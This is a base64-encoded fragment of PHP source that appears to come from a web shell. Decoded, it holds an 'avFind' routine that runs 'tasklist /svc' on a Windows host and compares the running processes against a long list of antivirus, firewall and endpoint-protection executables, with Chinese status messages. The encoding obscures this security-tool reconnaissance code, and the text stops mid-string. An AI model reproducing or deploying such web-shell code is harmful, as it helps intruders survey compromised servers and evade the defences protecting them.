KCc8L2Zvcm0+Jyk7CiAgICAgICAgYnJlYWs7CgoKICAgIGNhc2UgImF2RmluZCI6CiAgICAgICAgb2Jfc3RhcnQoKTsKCiAgICAgICAgaWYgKHN0cnBvcyhQSFBfT1MsICJXSU4iKSAhPT0gMCkgewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+tbHHsLLZ1/fPtc2zzqo6JyAuIFBIUF9PUyAuICcs1N2yu9ans9Yos/13aW5kb3dzzeLG5Mv8stnX98+1zbO63MnZ09DJscjtKTwvZm9udD4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgoKICAgICAgICBlY2hvIEV4ZWNfUnVuKCJ0YXNrbGlzdCAvc3ZjIik7CiAgICAgICAgJGRhdGEgPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKCiAgICAgICAgaWYgKCRkYXRhID09IG51bGwgfHwgZW1wdHkoJGRhdGEpKSB7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj678cihvfizzMqnsNwhx+vIt7Gjzt69+9PDuq/K/aGjPC9mb250Pic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgJHBhdHRlcm4gPSAiL1xuLio/ZXhlLyI7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sICRkYXRhLCAkdG1wKTsKCiAgICAgICAgJHRtcCA9IGFycmF5X3VuaXF1ZSgkdG1wKTsKICAgICAgICAkcHJvY2Vzc05hbWVzID0gJHRtcFswXTsKICAgICAgICAkYXZMaXN0ID0gYXJyYXkoCiAgICAgICAgICAgICIzNjB0cmF5LmV4ZSIgPT4gIjM2MLCyyKvOwMq/Lcq1yrGxo7ukIiwKICAgICAgICAgICAgIjM2MHNhZmUuZXhlIiA9PiAiMzYwsLLIq87Ayr8t1vezzNDyIiwKICAgICAgICAgICAgIlpodURvbmdGYW5nWXUuZXhlIiA9PiAiMzYwsLLIq87Ayr8t1ve2r7fA0/kiLAogICAgICAgICAgICAiMzYwc2QuZXhlIiA9PiAiMzYwybG2viIsCiAgICAgICAgICAgICJhMmd1YXJkLmV4ZSIgPT4gImEtc3F1YXJlZMmxtr4iLAogICAgICAgICAgICAiYWQtd2F0Y2guZXhlIiA9PiAiTGF2YXNvZnTJsba+IiwKICAgICAgICAgICAgImNsZWFuZXI4LmV4ZSIgPT4gIlRoZSBDbGVhbmVyybG2viIsCiAgICAgICAgICAgICJ2YmEzMmxkZXIuZXhlIiA9PiAidmIzMsmxtr4iLAogICAgICAgICAgICAiTW9uZ29vc2FHVUkuZXhlIiA9PiAiTW9uZ29vc2HJsba+IiwKICAgICAgICAgICAgIkNvcmFudGlDb250cm9sQ2VudGVyMzIuZXhlIiA9PiAiQ29yYW50aTIwMTLJsba+IiwKICAgICAgICAgICAgIkYtUFJPVC5leGUiID0+ICJGLVByb3QgQW50aVZpcnVzIiwKICAgICAgICAgICAgIkNNQ1RyYXlJY29uLmV4ZSIgPT4gIkNNQ8mxtr4iLAogICAgICAgICAgICAiSzdUU2VjdXJpdHkuZXhlIiA9PiAiSzfJsba+IiwKICAgICAgICAgICAgIlVuVGhyZWF0LmV4ZSIgPT4gIlVuVGhyZWF0ybG2viIsCiAgICAgICAgICAgICJDS1NvZnRTaGllZEFudGl2aXJ1czQuZXhlIiA9PiAiU2hpZWxkIEFudGl2aXJ1c8mxtr4iLAogICAgICAgICAgICAiQVZXYXRjaFNlcnZpY2UuZXhlIiA9PiAiVklSVVNmaWdodGVyybG2viIsCiAgICAgICAgICAgICJBcmNhVGFza3NTZXJ2aWNlLmV4ZSIgPT4gIkFyY2FWaXLJsba+IiwKICAgICAgICAgICAgImlwdHJheS5leGUiID0+ICJJbW11bmV0ybG2viIsCiAgICAgICAgICAgICJQU2FmZVN5c1RyYXkuZXhlIiA9PiAiUFNhZmXJsba+IiwKICAgICAgICAgICAgIm5zcHVwc3ZjLmV4ZSIgPT4gIm5Qcm90ZWN0ybG2viIsCiAgICAgICAgICAgICJTcHl3YXJlVGVybWluYXRvclNoaWVsZC5leGUiID0+ICJTcHl3YXJlVGVybWluYXRvcre0vOS1/cjtvP4iLAogICAgICAgICAgICAiQkthdlNlcnZpY2UuZXhlIiA9PiAiQmthdsmxtr4iLAogICAgICAgICAgICAiTXNNcEVuZy5leGUiID0+ICJXaW5kb3dzIERlZmVuZGVyIiwKICAgICAgICAgICAgIlNCQU1TdmMuZXhlIiA9PiAiVklQUkUiLAogICAgICAgICAgICAiY2NTdmNIc3QuZXhlIiA9PiAiTm9ydG9uybG2viIsCiAgICAgICAgICAgICJmLXNlY3VyZS5leGUiID0+ICKx+bW6IiwKICAgICAgICAgICAgImF2cC5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiS3ZNb25YUC5leGUiID0+ICK9rcPxybG2viIsCiAgICAgICAgICAgICJSYXZNb25ELmV4ZSIgPT4gIsjw0MfJsba+IiwKICAgICAgICAgICAgIk1jc2hpZWxkLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJUYm1vbi5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiRnJhbWV3b3Jrc2VydmljZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZWd1aS5leGUiID0+ICJFU0VUIE5PRDMyIiwKICAgICAgICAgICAgImVrcm4uZXhlIiA9PiAiRVNFVCBOT0QzMiIsCiAgICAgICAgICAgICJlZ3VpUHJveHkuZXhlIiA9PiAiRVNFVCBOT0QzMiIsCiAgICAgICAgICAgICJreGV0cmF5LmV4ZSIgPT4gIr3wyb22vrDUIiwKICAgICAgICAgICAgImtuc2R0cmF5LmV4ZSIgPT4gIr/JxaPJsba+IiwKICAgICAgICAgICAgIlRNQk1TUlYuZXhlIiA9PiAix/fKxsmxtr4iLAogICAgICAgICAgICAiYXZjZW50ZXIuZXhlIiA9PiAiQXZpcmEo0KG67MmhKSIsCiAgICAgICAgICAgICJhdmd1YXJkLmV4ZSIgPT4gIkF2aXJhKNChuuzJoSkiLAogICAgICAgICAgICAiYXZnbnQuZXhlIiA9PiAiQXZpcmEo0KG67MmhKSIsCiAgICAgICAgICAgICJzY2hlZC5leGUiID0+ICJBdmlyYSjQobrsyaEpIiwKICAgICAgICAgICAgImFzaERpc3AuZXhlIiA9PiAiQXZhc3TN+MLnsLLIqyIsCiAgICAgICAgICAgICJydHZzY2FuLmV4ZSIgPT4gIsW1ttnJsba+IiwKICAgICAgICAgICAgImNjYXBwLmV4ZSIgPT4gIlN5bWFudGVjTm9ydG9uIiwKICAgICAgICAgICAgIk5QRk1udG9yLmV4ZSIgPT4gIk5vcnRvbsmxtr7I7bz+IiwKICAgICAgICAgICAgImNjU2V0TWdyLmV4ZSIgPT4gIsj8w8XM+r/LIiwKICAgICAgICAgICAgImNjUmVnVmZ5LmV4ZSIgPT4gIk5vcnRvbsmxtr7I7bz+IiwKICAgICAgICAgICAgImtzYWZlLmV4ZSIgPT4gIr3wyb3OwMq/IiwKICAgICAgICAgICAgIlFRUENSVFAuZXhlIiA9PiAiUVG158TUudy80iIsCiAgICAgICAgICAgICJhdmd3ZHN2Yy5leGUiID0+ICJBVkfJsba+IiwKICAgICAgICAgICAgIlFVSExQU1ZDLmV4ZSIgPT4gIlFVSUNLIEhFQUzJsba+IiwKICAgICAgICAgICAgIm1zc2VjZXNzLmV4ZSIgPT4gIs6iyO3Jsba+IiwKICAgICAgICAgICAgIlNhdlByb2dyZXNzLmV4ZSIgPT4gIlNvcGhvc8mxtr4iLAogICAgICAgICAgICAiU29waG9zVUkuZXhlIiA9PiAiU29waG9zybG2viIsCiAgICAgICAgICAgICJTb3Bob3NGUy5leGUiID0+ICJTb3Bob3PJsba+IiwKICAgICAgICAgICAgIlNvcGhvc0hlYWx0aC5leGUiID0+ICJTb3Bob3PJsba+IiwKICAgICAgICAgICAgIlNvcGhvc1NhZmVzdG9yZTY0LmV4ZSIgPT4gIlNvcGhvc8mxtr4iLAogICAgICAgICAgICAiU29waG9zQ2xlYW5NLmV4ZSIgPT4gIlNvcGhvc8mxtr4iLAogICAgICAgICAgICAiZnNhdmd1aS5leGUiID0+ICJGLVNlY3VyZcmxtr4iLAogICAgICAgICAgICAidnNzZXJ2LmV4ZSIgPT4gIrHIzNjo87XCIiwKICAgICAgICAgICAgInJlbXVwZC5leGUiID0+ICLQ3MOozsDKvyIsCiAgICAgICAgICAgICJGb3J0aVRyYXkuZXhlIiA9PiAit8nL/iIsCiAgICAgICAgICAgICJzYWZlZG9nLmV4ZSIgPT4gIrCyyKu5tyIsCiAgICAgICAgICAgICJwYXJtb3IuZXhlIiA9PiAixL7C7b/L0MciLAogICAgICAgICAgICAiSXBhcm1vci5leGUuZXhlIiA9PiAixL7C7b/L0MciLAogICAgICAgICAgICAiYmVpa2VzYW4uZXhlIiA9PiAisbS/x9TGsLLIqyIsCiAgICAgICAgICAgICJLU1dlYlNoaWVsZC5leGUiID0+ICK98Mm9zfi23CIsCiAgICAgICAgICAgICJUcm9qYW5IdW50ZXIuZXhlIiA9PiAixL7C7cHUytYiLAogICAgICAgICAgICAiR0cuZXhlIiA9PiAivt623M34086wssirttwiLAogICAgICAgICAgICAiYWRhbS5leGUiID0+ICLCzNOlsLLIq76rwekiLAogICAgICAgICAgICAiQVNULmV4ZSIgPT4gIrOsvLbRsr6vIiwKICAgICAgICAgICAgImFuYW53aWRnZXQuZXhlIiA9PiAixKvV37CyyKvXqLzSIiwKICAgICAgICAgICAgIkFWSy5leGUiID0+ICJBbnRpVmlydXNLaXQiLAogICAgICAgICAgICAiYXZnLmV4ZSIgPT4gIkFWRyBBbnRpLVZpcnVzIiwKICAgICAgICAgICAgInNwaWRlcm50LmV4ZSIgPT4gIkRyLndlYiIsCiAgICAgICAgICAgICJhdmdhdXJkLmV4ZSIgPT4gIkF2aXJhIEFudGl2aXIiLAogICAgICAgICAgICAidnNtb24uZXhlIiA9PiAiWm9uZSBBbGFybSIsCiAgICAgICAgICAgICJjcGYuZXhlIiA9PiAiQ29tb2RvIiwKICAgICAgICAgICAgIm91dHBvc3QuZXhlIiA9PiAiT3V0cG9zdCBGaXJld2FsbCIsCiAgICAgICAgICAgICJyZndtYWluLmV4ZSIgPT4gIsjw0Me3wLvwx70iLAogICAgICAgICAgICAia3Bmd3RyYXkuZXhlIiA9PiAivfDJvc3479oiLAogICAgICAgICAgICAiRllGaXJlV2FsbC5leGUiID0+ICK359TGt8C78Me9IiwKICAgICAgICAgICAgIk1QTW9uLmV4ZSIgPT4gIs6itePW97avt8DT+SIsCiAgICAgICAgICAgICJwZncuZXhlIiA9PiAizOzN+LfAu/DHvSIsCiAgICAgICAgICAgICJCYWlkdVNkU3ZjLmV4ZSIgPT4gIrDZtsjJsba+Lbf+zvG9+LPMIiwKICAgICAgICAgICAgIkJhaWR1U2RUcmF5LmV4ZSIgPT4gIrDZtsjJsba+Lc3Qxcy9+LPMIiwKICAgICAgICAgICAgIkJhaWR1U2QuZXhlIiA9PiAisNm2yMmxtr4t1vezzNDyIiwKICAgICAgICAgICAgIlNhZmVEb2dHdWFyZENlbnRlci5leGUiID0+ICKwssirubciLAogICAgICAgICAgICAic2FmZWRvZ3VwZGF0ZWNlbnRlci5leGUiID0+ICKwssirubciLAogICAgICAgICAgICAic2FmZWRvZ2d1YXJkY2VudGVyLmV4ZSIgPT4gIrCyyKu5tyIsCiAgICAgICAgICAgICJTYWZlRG9nU2l0ZUlJUy5leGUiID0+ICKwssirubciLAogICAgICAgICAgICAiU2FmZURvZ1RyYXkuZXhlIiA9PiAisLLIq7m3IiwKICAgICAgICAgICAgIlNhZmVEb2dTZXJ2ZXJVSS5leGUiID0+ICKwssirubciLAogICAgICAgICAgICAiRF9TYWZlX01hbmFnZS5leGUiID0+ICJEttwiLAogICAgICAgICAgICAiZF9tYW5hZ2UuZXhlIiA9PiAiRLbcIiwKICAgICAgICAgICAgInl1bnN1b19hZ2VudF9zZXJ2aWNlLmV4ZSIgPT4gItTGy/giLAogICAgICAgICAgICAieXVuc3VvX2FnZW50X2RhZW1vbi5leGUiID0+ICLUxsv4IiwKICAgICAgICAgICAgIkh3c1BhbmVsLmV4ZSIgPT4gIrukzsDJ8SIsCiAgICAgICAgICAgICJod3NfdWkuZXhlIiA9PiAiu6TOwMnxIiwKICAgICAgICAgICAgImh3cy5leGUiID0+ICK7pM7AyfEiLAogICAgICAgICAgICAiaHdzZC5leGUiID0+ICK7pM7AyfEiLAogICAgICAgICAgICAiSGlwc1RyYXkuZXhlIiA9PiAiu/DI3iIsCiAgICAgICAgICAgICJIaXBzRGFlbW9uLmV4ZSIgPT4gIrvwyN4iLAogICAgICAgICAgICAid3NjdHJsLmV4ZSIgPT4gIrvwyN4iLAogICAgICAgICAgICAidXN5c2RpYWcuZXhlIiA9PiAiu/DI3iIsCiAgICAgICAgICAgICJTUEhJTlguZXhlIiA9PiAiU1BISU5Yt8C78Me9IiwKICAgICAgICAgICAgImJkZG93bmxvYWRlci5leGUiID0+ICKw2bbIzsDKvyIsCiAgICAgICAgICAgICJiYWlkdWFuc3Z4LmV4ZSIgPT4gIrDZtsjOwMq/Ldb3vfizzCIsCiAgICAgICAgICAgICJBdmFzdFVJLmV4ZSIgPT4gIkF2YXN0ITXW97PM0PIiLAogICAgICAgICAgICAiZW1ldF9hZ2VudC5leGUiID0+ICJFTUVUIiwKICAgICAgICAgICAgImVtZXRfc2VydmljZS5leGUiID0+ICJFTUVUIiwKICAgICAgICAgICAgImZpcmVzdmMuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgImZpcmV0cmF5LmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJoaXBzdmMuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1mZXZ0cHMuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jYWZlZWZpcmUuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgInNjYW4zMi5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAic2hzdGF0LmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJ2c3Rza21nci5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZW5naW5lc2VydmVyLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtZmVhbm4uZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jc2NyaXB0LmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJ1cGRhdGVydWkuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgInVkYXRlcnVpLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJuYXByZG1nci5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiY2xlYW51cC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiY21kYWdlbnQuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgImZybWluc3QuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jc2NyaXB0X2ludXNlLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtY3RyYXkuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIl9hdnAzMi5leGUiID0+ICK/qLDNy7m7+SIsCiAgICAgICAgICAgICJfYXZwY2MuZXhlIiA9PiAiv6iwzcu5u/kiLAogICAgICAgICAgICAiX2F2cG0uZXhlIiA9PiAiv6iwzcu5u/kiLAogICAgICAgICAgICAiYUF2Z0FwaS5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiYWNrd2luMzIuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJhbGVydHN2Yy5leGUiID0+ICJOb3J0b24gQW50aVZpcnVzIiwKICAgICAgICAgICAgImFsb2dzZXJ2LmV4ZSIgPT4gIk1jQWZlZSBWaXJ1c1NjYW4iLAogICAgICAgICAgICAiYW50aS10cm9qYW4uZXhlIiA9PiAiQW50aS1Ucm9qYW4gRWxpdGUiLAogICAgICAgICAgICAiYXJyLmV4ZSIgPT4gIkFwcGxpY2F0aW9uIFJlcXVlc3QgUm91dGUiLAogICAgICAgICAgICAiYXRndWFyZC5leGUiID0+ICJBbnRpVmlyIiwKICAgICAgICAgICAgImF0dXBkYXRlci5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImF0d2F0Y2guZXhlIiA9PiAiTXVzdGVrIiwKICAgICAgICAgICAgImF1LmV4ZSIgPT4gIk5TSVMiLAogICAgICAgICAgICAiYXVwZGF0ZS5leGUiID0+ICJTeW1hbnRlYyIsCiAgICAgICAgICAgICJhdXRvLXByb3RlY3QubmF2ODB0cnkuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJhdXRvZG93bi5leGUiID0+ICJBbnRpVmlydXMgQXV0b1VwZGF0ZXIiLAogICAgICAgICAgICAiYXZjb25zb2wuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgImF2Z2NjMzIuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgImF2Z2N0cmwuZXhlIiA9PiAiQVZHIiwKICAgICAgICAgICAgImF2Z2VtYy5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiYXZncnN4LmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJhdmdzZXJ2LmV4ZSIgPT4gIkFWRyIsCiAgICAgICAgICAgICJhdmdzZXJ2OS5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiYXZndy5leGUiID0+ICJBVkciLAogICAgICAgICAgICAiYXZrcG9wLmV4ZSIgPT4gIkcgREFUQSBTT0ZUV0FSRSBBRyIsCiAgICAgICAgICAgICJhdmtzZXJ2LmV4ZSIgPT4gIkcgREFUQSBTT0ZUV0FSRSBBRyIsCiAgICAgICAgICAgICJhdmtzZXJ2aWNlLmV4ZSIgPT4gIkcgREFUQSBTT0ZUV0FSRSBBRyIsCiAgICAgICAgICAgICJhdmt3Y3RsOS5leGUiID0+ICJHIERBVEEgU09GVFdBUkUgQUciLAogICAgICAgICAgICAiYXZsdG1haW4uZXhlIiA9PiAiUGFuZGEgU29mdHdhcmUgQXBsaWNhdGlvbiIsCiAgICAgICAgICAgICJhdm50LmV4ZSIgPT4gIkgrQkVEViBEYXRlbnRlY2huaWsgR21iSCIsCiAgICAgICAgICAgICJhdnAzMi5leGUiID0+ICJLYXNwZXJza3kgQW50aS1WaXJ1cyIsCiAgICAgICAgICAgICJhdnBjYy5leGUiID0+ICIgS2FzcGVyc2t5IEFudGlWaXJ1cyIsCiAgICAgICAgICAgICJhdnBkb3MzMi5leGUiID0+ICIgS2FzcGVyc2t5IEFudGlWaXJ1cyIsCiAgICAgICAgICAgICJhdnBtLmV4ZSIgPT4gIiBLYXNwZXJza3kgQW50aVZpcnVzIiwKICAgICAgICAgICAgImF2cHRjMzIuZXhlIiA9PiAiIEthc3BlcnNreSBBbnRpVmlydXMiLAogICAgICAgICAgICAiYXZwdXBkLmV4ZSIgPT4gIiBLYXNwZXJza3kgQW50aVZpcnVzIiwKICAgICAgICAgICAgImF2c3lubWdyLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJhdndpbi5leGUiID0+ICIgSCtCRURWIiwKICAgICAgICAgICAgImJhcmdhaW5zLmV4ZSIgPT4gIkV4YWN0IEFkdmVydGlzaW5nIFNweVdhcmUiLAogICAgICAgICAgICAiYmVhZ2xlLmV4ZSIgPT4gIkF2YXN0IiwKICAgICAgICAgICAgImJsYWNrZC5leGUiID0+ICJCbGFja0lDRSIsCiAgICAgICAgICAgICJibGFja2ljZS5leGUiID0+ICJCbGFja0lDRSIsCiAgICAgICAgICAgICJibGluay5leGUiID0+ICJtaWNyb21lZGlhIiwKICAgICAgICAgICAgImJsc3MuZXhlIiA9PiAiQ0JsYXN0ZXIiLAogICAgICAgICAgICAiYm9vdHdhcm4uZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiYnBjLmV4ZSIgPT4gIkdyb2tzdGVyIiwKICAgICAgICAgICAgImJyYXNpbC5leGUiID0+ICJFeGFjdCBBZHZlcnRpc2luZyIsCiAgICAgICAgICAgICJjY2V2dG1nci5leGUiID0+ICJOb3J0b24gSW50ZXJuZXQgU2VjdXJpdHkiLAogICAgICAgICAgICAiY2RwLmV4ZSIgPT4gIkN5YmVyTGluayBDb3JwLiIsCiAgICAgICAgICAgICJjZmQuZXhlIiA9PiAiTW90aXZlIENvbW11bmljYXRpb25zIiwKICAgICAgICAgICAgImNmZ3dpei5leGUiID0+ICIgTm9ydG9uIEFudGlWaXJ1cyIsCiAgICAgICAgICAgICJjbGF3OTUuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJjbGF3OTVjZi5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImNsZWFuLmV4ZSIgPT4gIndpbmRvd3PB98OlyO28/sflwO2088qmIiwKICAgICAgICAgICAgImNsZWFuZXIuZXhlIiA9PiAid2luZG93c8H3w6XI7bz+x+XA7bTzyqYiLAogICAgICAgICAgICAiY2xlYW5lcjMuZXhlIiA9PiAid2luZG93c8H3w6XI7bz+x+XA7bTzyqYiLAogICAgICAgICAgICAiY2xlYW5wYy5leGUiID0+ICJ3aW5kb3dzwffDpcjtvP7H5cDttPPKpiIsCiAgICAgICAgICAgICJjcGQuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgImN0cmwuZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJjdi5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImRlZmFsZXJ0LmV4ZSIgPT4gIlN5bWFudGVjIiwKICAgICAgICAgICAgImRlZnNjYW5ndWkuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiZGVmd2F0Y2guZXhlIiA9PiAiTm9ydG9uIEFudGl2aXJ1cyIsCiAgICAgICAgICAgICJkb29ycy5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImRwZi5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImRwcHMyLmV4ZSIgPT4gIlBhbmljV2FyZSIsCiAgICAgICAgICAgICJkc3NhZ2VudC5leGUiID0+ICJCcm9kZXJidW5kIiwKICAgICAgICAgICAgImVjZW5naW5lLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiZW1zdy5leGUiID0+ICJBbHNldCBJbmMiLAogICAgICAgICAgICAiZW50LmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiZXNwd2F0Y2guZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJldGhlcmVhbC5leGUiID0+ICJSYXRpb25hbENsZWFyQ2FzZSIsCiAgICAgICAgICAgICJleGUuYXZ4dy5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImV4cGVydC5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImYtcHJvdDk1LmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiZmFtZWgzMi5leGUiID0+ICJGLVNlY3VyZSIsCiAgICAgICAgICAgICJmYXN0LmV4ZSIgPT4gIiBGYXN0VXNyIiwKICAgICAgICAgICAgImZjaDMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZpaDMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZpbmR2aXJ1LmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZpcmV3YWxsLmV4ZSIgPT4gIkFzaGFtcG9vU29mdHdhcmUiLAogICAgICAgICAgICAiZm5yYjMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZwLXdpbi5leGUiID0+ICIgRi1Qcm90IEFudGl2aXJ1cyBPbkRlbWFuZCIsCiAgICAgICAgICAgICJmc2FhLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZzYXYuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiZnNhdjMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZzYXY1MzBzdGJ5Yi5leGUiID0+ICJGLVNlY3VyZSIsCiAgICAgICAgICAgICJmc2F2NTMwd3RieWIuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiZnNhdjk1LmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImZzZ2szMi5leGUiID0+ICJGLVNlY3VyZSIsCiAgICAgICAgICAgICJmc20zMi5leGUiID0+ICJGLVNlY3VyZSIsCiAgICAgICAgICAgICJmc21hMzIuZXhlIiA9PiAiRi1TZWN1cmUiLAogICAgICAgICAgICAiZnNtYjMyLmV4ZSIgPT4gIkYtU2VjdXJlIiwKICAgICAgICAgICAgImdibWVudS5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImd1YXJkLmV4ZSIgPT4gImV3aWRvIiwKICAgICAgICAgICAgImd1YXJkZG9nLmV4ZSIgPT4gImV3aWRvIiwKICAgICAgICAgICAgImh0bG9nLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiaHRwYXRjaC5leGUiID0+ICJTaWxpY29uIEludGVncmF0ZWQgU3lzdGVtcyBDb3Jwb3JhdGlvbiIsCiAgICAgICAgICAgICJod3BlLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiaWFtYXBwLmV4ZSIgPT4gIlN5bWFudGVjIiwKICAgICAgICAgICAgImlhbXNlcnYuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiaWFtc3RhdHMuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAiaWVkcml2ZXIuZXhlIiA9PiAiIFVybGJsYXplLmNvbSIsCiAgICAgICAgICAgICJpZmFjZS5leGUiID0+ICJQYW5kYSBBbnRpdmlydXMgTW9kdWxlIiwKICAgICAgICAgICAgImluZnVzLmV4ZSIgPT4gIkluZnVzIERpYWxlciIsCiAgICAgICAgICAgICJpbmZ3aW4uZXhlIiA9PiAiTXN2aWV3cGFyYXNpdGUiLAogICAgICAgICAgICAiaW50ZGVsLmV4ZSIgPT4gIkluZXQgRGVsaXZlcnkiLAogICAgICAgICAgICAiaW50cmVuLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAiamFtbWVyLmV4ZSIgPT4gItLR1qrJscjtvfizzCzD+7PG1N3OtMrVwrwiLAogICAgICAgICAgICAia2F2cGYuZXhlIiA9PiAiS2FwZXJza3kiLAogICAgICAgICAgICAia2F6emEuZXhlIiA9PiAiS2FwZXJza3kiLAogICAgICAgICAgICAia2VlbnZhbHVlLmV4ZSIgPT4gIkVVTklWRVJTRSBJTkMiLAogICAgICAgICAgICAibGF1bmNoZXIuZXhlIiA9PiAiSW50ZXJjb3J0IFN5c3RlbXMiLAogICAgICAgICAgICAibGRwcm8uZXhlIiA9PiAi0tHWqsmxyO29+LPMLMP7s8bU3c60ytXCvCIsCiAgICAgICAgICAgICJsZHNjYW4uZXhlIiA9PiAiV2luZG93cyBUcm9qYW5zIEluc3BlY3RvciIsCiAgICAgICAgICAgICJsb2NhbG5ldC5leGUiID0+ICLS0daqybHI7b34s8wsw/uzxtTdzrTK1cK8IiwKICAgICAgICAgICAgImx1YWxsLmV4ZSIgPT4gIlN5bWFudGVjIiwKICAgICAgICAgICAgImx1YXUuZXhlIiA9PiAiU3ltYW50ZWMiLAogICAgICAgICAgICAibHVjb21zZXJ2ZXIuZXhlIiA9PiAiTm9ydG9uIiwKICAgICAgICAgICAgIm1jYWdlbnQuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jbW5oZGxyLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtY3Rvb2wuZXhlIiA9PiAiTWNBZmVlIiwKICAgICAgICAgICAgIm1jdXBkYXRlLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtY3ZzcnRlLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJtY3Zzc2hsZC5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAibWZpbjMyLmV4ZSIgPT4gIk15RnJlZUludGVybmV0VXBkYXRlIiwKICAgICAgICAgICAgIm1mdzJlbi5leGUiID0+ICJNeUZyZWVJbnRlcm5ldFVwZGF0ZSIsCiAgICAgICAgICAgICJtZndlbmczLjAyZDMwLmV4ZSIgPT4gIk15RnJlZUludGVybmV0VXBkYXRlIiwKICAgICAgICAgICAgIm1nYXZyd